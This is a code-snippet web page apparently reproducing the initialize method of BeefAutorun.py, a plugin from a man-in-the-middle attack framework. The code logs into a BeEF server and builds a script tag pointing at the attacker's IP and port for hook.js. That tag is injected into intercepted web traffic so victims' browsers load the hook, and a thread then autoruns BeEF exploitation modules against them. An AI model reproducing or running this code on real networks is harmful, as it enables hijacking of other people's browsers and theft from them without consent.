BeefAutorun.py 文件源码

python
阅读 21 收藏 0 点赞 0 评论 0

项目:SEF 作者: hossamhasanin 项目源码 文件源码
def initialize(self, options):
        self.options = options

        try:
            beefconfig = options.configfile['MITMf']['BeEF']
        except Exception, e:
            sys.exit("[-] Error parsing BeEF options in config file: " + str(e))

        try:
            userconfig = options.configfile['BeEFAutorun']
        except Exception, e:
            sys.exit("[-] Error parsing config for BeEFAutorun: " + str(e))

        self.Mode = userconfig['mode']
        self.All_modules = userconfig["ALL"]
        self.Targeted_modules = userconfig["targets"]

        try:
            self.ip_address = get_if_addr(options.interface)
            if self.ip_address == "0.0.0.0":
                sys.exit("[-] Interface %s does not have an IP address" % options.interface)
        except Exception, e:
            sys.exit("[-] Error retrieving interface IP address: %s" % e)

        Inject.initialize(self, options)
        self.black_ips = []
        self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.ip_address, beefconfig['beefport'])

        beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
        if beef.login(beefconfig['user'], beefconfig['pass']):
            print "[*] Successfully logged in to BeEF"
        else:
            sys.exit("[-] Error logging in to BeEF!")

        print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode
        t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
        t.setDaemon(True)
        t.start()
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号